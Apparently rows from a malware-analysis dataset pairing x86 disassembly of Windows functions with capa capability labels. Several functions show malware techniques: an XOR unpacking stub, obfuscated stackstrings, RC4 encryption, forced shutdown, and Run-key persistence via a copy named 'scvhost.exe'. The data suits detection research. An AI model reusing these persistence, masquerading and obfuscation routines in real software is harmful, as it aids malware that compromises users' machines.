joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x18]
push edi
push eax
mov eax, dword [ebp + 0x18]
xor edi, edi
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov word [esi], di
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x405c6e
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x800
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push edi
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x405c5b
cmp dword [ebp + 0x14], 1
je 0x405c5e
cmp dword [ebp + 0x14], 2
je 0x405c5e
mov word [esi], di
push dword [ebp + 0x18]
mov word [esi + 0x7fe], di
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
ret 0x14
Function at 0x406145
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a5574], 0
push esi
jne 0x40617c
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406156
mov dword [ecx*4 + 0x7a5570], eax
inc ecx
cmp ecx, 0x100
jl 0x406151
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4061ad
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a5570]
xor eax, esi
inc ecx
dec edx
jne 0x40618f
pop edi
not eax
pop esi
ret 0xc
Function at 0x10018e7
Capabilities:
Shutdown system

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor esi, esi
test eax, eax
je 0x1001951
lea eax, [ebp - 0xc]
push eax
push 0x1001244
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1001948
mov eax, dword [ebp - 0xc]
push esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push esi
push esi
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x80010002
push 1
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
pop esi
leave
ret

Function at 0x1001c15
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor ecx, ecx
push 2
pop edx
mov eax, 0x1002
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
test esi, esi
pop ecx
je 0x1001cd4
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 4], 0x2000
jmp 0x1001c94
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x1001cc6
cmp dword [ebp - 8], 7
jne 0x1001cc6
mov eax, dword [ebp - 4]
push esi
mov dword [ebp - 0xc], eax
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 0xc]
shr eax, 1
inc eax
xor ecx, ecx
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x1001cd1
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
test eax, eax
jne 0x1001c52
mov eax, dword [ebp - 4]
shr eax, 1
lea eax, [esi + eax*2]
and word [eax], 0
and word [eax + 2], 0
push esi
call fcn.01001aa4
test eax, eax
jne 0x1001cd3
test esi, esi
je 0x1001cd1
push esi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
xor eax, eax
pop edi
pop esi
leave
ret 8
Function at 0x1004859
Capabilities:
Check if file exists

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10081b0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
push edi
push 2
xor edi, edi
cmp dword [ebp + 0xc], edi
pop ecx
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x214], edi
je 0x1004890
push 3
pop eax
jmp 0x1004991
cmp dword [ebp + 0x14], ecx
jl 0x1004888
mov ecx, dword [eax]
cmp word [ecx], di
je 0x1004888
push ebx
mov ebx, dword [eax + 4]
cmp word [ebx], di
jne 0x10048ad
push 3
pop eax
jmp 0x1004990
push esi
push edi
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
cmp eax, esi
jae 0x100498c
cmp eax, edi
je 0x100498c
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x100498c
push 0x10015e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, edi
mov dword [ebp - 0x21c], eax
je 0x1004984
push 0x10015bc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, edi
mov dword [ebp - 0x218], eax
je 0x1004978
mov esi, dword [fcn.010016b4]
lea eax, [ebp - 0x20c]
push eax
push ebx
push 0xeeae
call esi
add eax, 0x20
push eax
call fcn.010017a5
add esp, 0x10
lea eax, [ebp - 0x214]
push eax
push 1
lea eax, [ebp - 0x20c]
push eax
push ebx
push edi
call dword [ebp - 0x218]
test eax, eax
je 0x1004978
push 0xeeb2
call esi
add eax, 0x20
push eax
call fcn.010017a5
xor eax, eax
cmp dword [ebp - 0x214], edi
pop ecx
setne al
pop ecx
mov dword [ebp - 0x210], eax
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x210]
jmp 0x100498f
push 2
pop eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.010062d1
leave
ret 0x14
Function at 0x10062ab
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1006b60
call fcn.01006794
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x100882c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x10060b7
cmp eax, esi
jne 0x10060aa
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x10060ba
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1006091
xor esi, esi
inc esi
mov eax, dword [0x1008828]
cmp eax, esi
jne 0x10060cd
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1006108
mov eax, dword [0x1008828]
test eax, eax
jne 0x1006102
mov dword [0x1008828], esi
push 0x1001214
push 0x1001208
call fcn.0100600e
pop ecx
pop ecx
test eax, eax
je 0x1006108
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x10061d2
mov dword [0x10084ec], esi
mov eax, dword [0x1008828]
cmp eax, esi
jne 0x100612c
push 0x1001204
push 0x10011fc
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1008828], 2
cmp dword [ebp - 0x1c], ebx
jne 0x1006139
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1008834], ebx
je 0x100615a
push 0x1008834
call fcn.0100670b
pop ecx
test eax, eax
je 0x100615a
push ebx
push 2
push ebx
call dword [0x1008834]
push dword [0x10084d4]
push dword [0x10084d8]
push dword [0x10084d0]
call fcn.01002321
add esp, 0xc
mov dword [0x10084e8], eax
cmp dword [0x10084dc], ebx
jne 0x10061b8
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x10084ec], ebx
jne 0x10061c6
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x10084e8]
call fcn.010067d9
ret
call fcn.010068de
jmp 0x100606f

Function at 0x1006680
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x1006693
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100668f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x10066c0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x10066ff
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x10066f5
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x1006701
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x10066e5
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x42e005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x44127f43
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x1b5d0c8b
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x10001310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x10008f18
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1ac
push esi
mov esi, ecx
push edi
mov dword [esp + 0x20], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x14]
mov dword [esp + 0x1bc], 0
call fcn.10001000
lea ecx, [esi + 0x24]
mov byte [esp + 0x1bc], 1
call fcn.10001000
lea ecx, [esi + 0x34]
mov byte [esp + 0x1bc], 2
call fcn.10001000
lea eax, [esp + 0x24]
mov byte [esp + 0x1bc], 3
push eax
push 0x202
mov dword [esi], 0x1000a220
call dword [0x1000e048]
push 0
push 0
push 1
push 0
call dword [0x1000df74]
lea ecx, [esp + 8]
push 3
lea edx, [esi + 0x54]
push ecx
push edx
mov dword [esi + 0x4c], eax
mov byte [esi + 0x57], 0
mov dword [esi + 0x48], 0xffffffff
mov byte [esp + 0x14], 0x47
mov byte [esp + 0x15], 0x78
mov byte [esp + 0x16], 0x20
call dword [0x1000e038]
mov al, 0x50
mov cl, 0x74
mov byte [esp + 0x19], al
mov byte [esp + 0x1d], al
mov al, 0x6f
mov byte [esp + 0x20], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x21], al
mov byte [esp + 0x23], al
mov byte [esp + 0x26], al
mov byte [esp + 0x28], cl
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
mov byte [esp + 0xc], 0x45
mov byte [esp + 0xe], 0x69
mov byte [esp + 0xf], 0x6e
mov byte [esp + 0x10], 0x68
mov byte [esp + 0x12], 0x72
mov byte [esp + 0x16], 0x63
mov byte [esp + 0x18], 0x6c
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1d], 0x59
mov byte [esp + 0x1e], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xc]
push ecx
push eax
push 0x1000d4c0
mov ecx, esi
call fcn.10001d60
mov ecx, dword [esp + 0x1b4]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x1b8
ret

Function at 0x10001d60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x10001d8a
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x10001dda
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x10001db9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret 0xc
Function at 0x10001e00
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x10001e8c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x10001e2b
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x10001e48
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x10001e76
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x10001e1a
pop ebp
pop ebx
pop edi
pop esi
ret 0xc

Function at 0x10001fa0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [esp + 0x1c]
push esi
push edi
mov eax, dword [ebx]
push 0
mov edi, ecx
push 0x80
mov ecx, dword [ebx + 4]
push 3
push 0
push 2
lea edx, [edi + 0x18]
push 0x40000000
push edx
mov dword [esp + 0x28], eax
mov dword [esp + 0x40], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [esp + 0x24]
mov esi, eax
lea eax, [esp + 0xc]
push 0
push eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x28]
lea edx, [esp + 0x10]
push 0
add eax, 0xfffffff8
push edx
add ebx, 8
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x24]
add eax, ecx
mov ecx, dword [0x1000d5c0]
mov dword [esp + 0x24], eax
lea edx, [esp + 0xc]
push 4
lea eax, [esp + 0x19]
push edx
push eax
mov byte [esp + 0x20], 0xdb
call fcn.100068b0
lea ecx, [esp + 0x24]
push 4
lea edx, [esp + 0x1d]
push ecx
mov ecx, dword [0x1000d5c0]
push edx
call fcn.100068b0
push 0x14
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push 9
push eax
mov ecx, edi
call fcn.10005c50
pop edi
pop esi
pop ebx
add esp, 0x14
ret 8
Function at 0x10002070
Capabilities:
Get file size

Disassembly:
sub esp, 0x18
push esi
push edi
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 0
lea eax, [edi + 0x18]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100020b0
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, edi
call fcn.10002140
pop edi
pop esi
add esp, 0x18
ret 4
lea ecx, [esp + 8]
mov dword [esp + 8], 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1000d5c0]
lea edx, [esp + 8]
push 4
lea eax, [esp + 0x15]
push edx
push eax
mov byte [esp + 0x1c], 0xdd
call fcn.100068b0
lea ecx, [esp + 0xc]
push 4
lea edx, [esp + 0x19]
push ecx
mov ecx, dword [0x1000d5c0]
push edx
call fcn.100068b0
mov ecx, dword [0x1000d5c0]
push 4
lea eax, [esp + 0x1d]
push 0x1000d5c4
push eax
call fcn.100068b0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x10]
push 0xd
push ecx
mov ecx, edi
call fcn.10005c50
pop edi
pop esi
add esp, 0x18
ret 4
Function at 0x10003060
Capabilities:
Get common file path

Disassembly:
push ecx
xor eax, eax
push edi
push eax
mov ecx, 0x41
mov edi, 0x1000dc00
push 0x1a
push 0x1000dc00
push eax
rep stosd dword es:[edi], eax
mov byte [esp + 0x16], 0x5c
mov byte [esp + 0x17], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [0x1000d5c0]
lea eax, [esp + 6]
push eax
push 0x1000dc00
call fcn.100068e0
mov ecx, dword [esp + 0xc]
push ecx
mov ecx, dword [0x1000d5c0]
push 0x1000dc00
call fcn.100068e0
pop edi
pop ecx
ret

Function at 0x10003160
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
push ecx
mov al, byte [0x1000ca8c]
push esi
mov byte [esp + 4], al
mov eax, dword [0x1000dd08]
xor esi, esi
test eax, eax
jne 0x1000325b
mov ecx, dword [esp + 0xc]
push ecx
call fcn.10003060
add esp, 4
push 0x1000dc00
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100031ab
push 0x7c
push 0x1000dc00
call fcn.10002f80
add esp, 8
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push 0x1000dc00
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1000dbf8], eax
jne 0x100031d7
xor eax, eax
pop esi
pop ecx
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1000d7f0], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x1000d7f0]
push 0
push 0x1000dbf4
push edx
mov dword [0x1000dd04], eax
push eax
mov eax, dword [0x1000dbf8]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x1000dbf8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1000d7f0]
mov eax, dword [0x1000dd04]
push edx
push eax
call fcn.100030c0
mov ecx, dword [0x1000dd04]
push ecx
call fcn.10005cc0
add esp, 0xc
mov dword [0x1000dbfc], eax
test eax, eax
jne 0x1000324f
pop esi
pop ecx
ret
mov dword [0x1000dd08], 1
jmp 0x10003260
mov eax, dword [0x1000dbfc]
mov edx, dword [esp + 0x10]
push edx
push eax
call fcn.10006140
add esp, 8
test eax, eax
je 0x10003296
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 4]
push ecx
mov ecx, dword [0x1000c268]
push str.127.0.0.1
push edx
push 0
push ecx
push 0x1000dd14
call eax
add esp, 0x18
mov esi, eax
mov eax, esi
pop esi
pop ecx
ret

Function at 0x100033e0
Capabilities:
Create process on windows

Disassembly:
mov ecx, dword [0x1000df18]
sub esp, 0x208
lea eax, [esp]
push 0x104
push eax
push ecx
call dword [0x1000df4c]
mov eax, dword [esp + 0x20c]
test eax, eax
je 0x10003426
lea edx, [esp]
push eax
push edx
lea eax, [esp + 0x10c]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x1000dfb8]
add esp, 0x10
jmp 0x10003441
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push str.Rundll32___s__Uninstall
push edx
call dword [0x1000dfb8]
add esp, 0xc
lea eax, [esp + 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x1000e494], 1
add esp, 0x208
ret
Function at 0x100036f0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x2dc
push ebx
mov ebx, dword [esp + 0x2e4]
push esi
push edi
push 0x170
lea eax, [esp + 0x17c]
push ebx
push eax
call dword [0x1000e038]
mov ecx, 0x59
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
add esp, 0xc
lea ecx, [esp + 0x284]
stosw word es:[edi], ax
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000375c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x2dc
ret
mov eax, dword [esp + 0x2f0]
lea edx, [esp + 0xc]
push 0
add eax, 0xfffffe90
push edx
add ebx, 0x170
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1000378c
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
push esi
call dword [0x1000df5c]
lea edi, [esp + 0x180]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x100037cb
lea ecx, [esp + 0x180]
lea edx, [esp + 0x284]
push ecx
push edx
lea eax, [esp + 0x18]
push str._s__s
push eax
call dword [0x1000dfb8]
add esp, 0x10
jmp 0x100037de
lea ecx, [esp + 0x284]
lea edx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [esp + 0x17c]
sub eax, 0
je 0x10003817
dec eax
je 0x1000380e
sub eax, 2
jne 0x10003826
lea eax, [esp + 0x10]
push eax
call fcn.100033e0
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x2dc
ret
lea ecx, [esp + 0x10]
push 0
push ecx
jmp 0x1000381e
lea edx, [esp + 0x10]
push 5
push edx
call fcn.10003470
add esp, 8
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2dc
ret

Function at 0x10003d40
Capabilities:
Copy file
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x164
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str.C:Program_FilesCommon_Files_scvhost.exe
lea edi, [esp + 0xc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xc
lea edi, [esp + 0x36]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x6c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10003dec
mov edx, dword [esp + 0x168]
lea ecx, [esp + 0x60]
push 0x104
push ecx
push 1
push eax
mov eax, dword [esp + 0x10]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
add esp, 0x164
ret
Function at 0x100047e0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x354
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
push 0x2e
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x18], 0x104
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
add esp, 8
test eax, eax
jne 0x10004823
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x1000484e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x6c]
push edx
push eax
push 0
push ecx
call esi
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
call ebx
mov ecx, 0x7d
xor eax, eax
lea edi, [esp + 0x170]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x170]
push eax
push str._s_shellopencommand
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x170]
push edx
push 0xf003f
push 0
push eax
push closesocket
call ebp
test eax, eax
je 0x100048cb
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x354
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x14], 0x104
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [esp + 0x6c]
push 0x1000c5e8
push edx
call esi
add esp, 8
test eax, eax
jne 0x10004948
lea eax, [esp + 0x6c]
push 0x1000c5e4
push eax
call esi
add esp, 8
test eax, eax
jne 0x10004948
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x6c]
push 0x1000c5e0
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x6c]
push edx
push eax
call esi
jmp 0x10004957
mov ecx, dword [esp + 0x368]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x36c]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x1000497f
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x354
ret